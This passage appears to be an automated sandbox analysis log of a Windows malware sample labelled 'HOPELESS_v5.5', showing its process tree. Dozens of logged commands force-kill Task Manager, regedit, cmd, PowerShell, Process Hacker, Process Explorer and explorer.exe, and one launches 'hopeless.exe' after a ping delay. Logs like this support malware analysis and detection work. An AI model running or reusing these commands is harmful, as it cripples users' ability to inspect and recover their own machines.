- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2236
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1752
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4388
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4416
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3300
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4032
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:2916
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3192
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6008
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2588
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4604
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4728
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4640
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5596
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1072
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4424
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6116
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:6128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1644
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4772
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2068
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3196
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4132
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:752
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2040
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3408
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6096
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5364
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2888
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5228
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2116
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4268
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5152
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5676
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5304
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5720
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5952
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5984
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5160
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2144
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3940
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2244
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3284
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2552
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3348
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4588
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4236
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1304
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4200
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1244
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5716
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6072
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1432

C:\Windows\system32\rundll32.exe
rundll32.exe cmd.exe /c echo HOPELESS_v5.5 && ping -n 3600 127.0.0.1 && start /min C:\Windows\System32\hopeless.exe
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:4036